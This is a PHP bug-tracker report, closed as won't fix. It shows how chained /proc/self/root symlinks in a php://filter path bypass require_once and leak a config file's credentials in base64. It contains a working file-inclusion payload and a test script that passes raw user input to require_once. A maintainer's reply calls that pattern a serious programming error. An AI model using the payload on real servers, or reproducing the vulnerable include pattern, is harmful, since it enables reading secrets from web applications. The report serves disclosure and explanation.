Bug #79980 [Opn->Wfx]: require_once can include a file twice via symlink loops
Edit report at https://bugs.php.net/bug.php?id=79980&edit=1
ID: 79980
Updated by: cmb@php.net
Reported by: i at littlefisher dot me
Summary: require_once can include a file twice via symlink
loops
-Status: Open
+Status: Wont fix
Type: Bug
Package: *Directory/Filesystem functions
Operating System: Ubuntu18.04
PHP Version: 7.2.33
-Assigned To:
+Assigned To: cmb
Block user comment: N
Private report: N
New Comment:
Whenever a path is resolved, symlinks are followed up to LINK_MAX
(currently 32) to avoid infinite loops. If this limit is exceeded
(as is obviously the case here), the path resolution fails, so
require_once actually works like require.
However, passing unvalidated user input to require/include (or
any other function which accepts stream wrapper URLs) is a *serious*
programming error. Thus, no action is needed from us.
Previous Comments:
------------------------------------------------------------------------
[2020-08-16 05:18:29] i at littlefisher dot me
Description:
------------
Normally, when we include a file via require_once() which has included before, PHP will
prevent this behavior.
But when we set the file path to a symbol link, PHP will be fooled. An example in Test script as
follows can demonstrate it. And assume there is some secret in config.php.
We can pass our payload to content query parameter, and then the PHP will resolve the
file path to '/proc/24273/root/proc/self/root/var/www/html/config.php'.
Eventually, the require_once bypassed. We got the base64-encoded content of
config.php.
Payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php
Test script:
---------------
/* index.php */
<?php
error_reporting(E_ALL);
require_once('config.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
}
/* config.php */
<?php
$MYSQL_HOST = '127.0.0.1';
$MYSQL_PORT = 3306;
$MYSQL_USERNAME = 'admin';
$MYSQL_PASSWORD = 'admin';
Expected result:
----------------
Excepted result is config.php cannot be included twice by the recursive symbollink.
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=79980&edit=1
Thread (2 messages)